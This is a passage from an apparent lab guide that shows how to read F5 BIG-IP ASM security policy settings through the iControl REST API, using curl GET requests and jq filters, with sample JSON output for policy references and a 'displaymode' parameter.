    "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/plain-text-profiles?ver=13.1.0",
    "isSubCollection": true
},
  "dataGuardReference": {
   "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/data-guard?ver=13.1.0"
},
  "createdDatetime": "2018-05-21T04:30:17Z",
  "databaseProtectionReference": {
   "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/database-protection?ver=13.1.0"
},
  "csrfUrlReference": {
   "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/csrf-urls?ver=13.1.0",
   "isSubCollection": true
},
 "cookieSettingsReference": {
  "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/cookie-settings?ver=13.1.0"
},
 "versionLastChange": " Security Policy /Common/ansible1 [add] { audit: policy = /Common/ansible1, username = admin, client IP = 10.1.1.51 }",
 "name": "ansible1"

Notice the lines leading up to and including items are not displayed

{
 "kind":"tm:asm:policies:policycollectionstate"
 "selfLink":"https://localhost/mgmt/tm/asm/policies?ver=13.1.0"
 "totalItems":2
 "items":[{"plainTextProfileReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/plain-text-profiles?ver=13.1.0"

We have told jq to only display collections within the items values, specifically we are specifying the first one, which again, is the first ASM policy.

Now get the policy id of the first ASM policy.

Run the following command:

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies | jq .items[0].id

The policy id should be output.

Since the id is attribute of the policy, you add a ‘.’ in to jump into that item’s (policy) id field.

Recall that ASM policy id are actually a random string and not the actually name, think about how one could extract the name using jq for the first policy. Can you come up with this on your own?

Answer jq Name

How would one extract the enforcement mode?

Answer jq Enforcement Mode

Next take a look at the parameter settings for this policy, run the following:

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies | jq .items[0].parameterReference

The output will look something like:

{
  "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/parameters?ver=13.1.0",
    "isSubCollection": true
}

Recall any item with a “isSubCollection” with a value of true, will have a link to the actual items, a subCollection of the collection.

What would the request look like to retrieve the subCollection (the actual parameters configuration of the policy)?

Answer jq Parameters

What if you wanted to display only select values, more than one?

First run the following to get the policy id of the “ansible1” policy. This tells jq to display the name and id fields of any policy (items[], hence the empty square brackets meaning we are not specifying a specific policy, its any policy).

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies | jq '.items[] | "\(.name) \(.id)"'

The output should display the name and policy id of all policies.

What if you wanted to display a parameter named “displaymode”?

Run the following using a policy id from the previous command as the <ansible1PolicyId>

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies/<ansible1PolicyId>/parameters | jq '.items[] | select(.name ==  "displaymode")'

The output should resemble:

{
  "isBase64": false,
  "dataType": "alpha-numeric",
  "sensitiveParameter": false,
  "valueType": "user-input",
  "kind": "tm:asm:policies:parameters:parameterstate",
  "selfLink": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/parameters/_Ott1aSMBOPupVbKbovX0A?ver=13.1.0",
  "inClassification": false,
  "metacharsOnParameterValueCheck": true,
  "id": "_Ott1aSMBOPupVbKbovX0A",
  "allowEmptyValue": false,
  "checkMaxValueLength": false,
  "valueMetacharOverrides": [],
  "name": "displaymode",
  "lastUpdateMicros": 1526877023000000,
  "allowRepeatedParameterName": false,
  "level": "global",
  "attackSignaturesCheck": true,
  "signatureOverrides": [],
  "performStaging": true,
  "type": "explicit",
  "enableRegularExpression": false
 }

Further Reading¶

Devcentral ASM Rest Intro Devcentral iControl Rest Query Parameters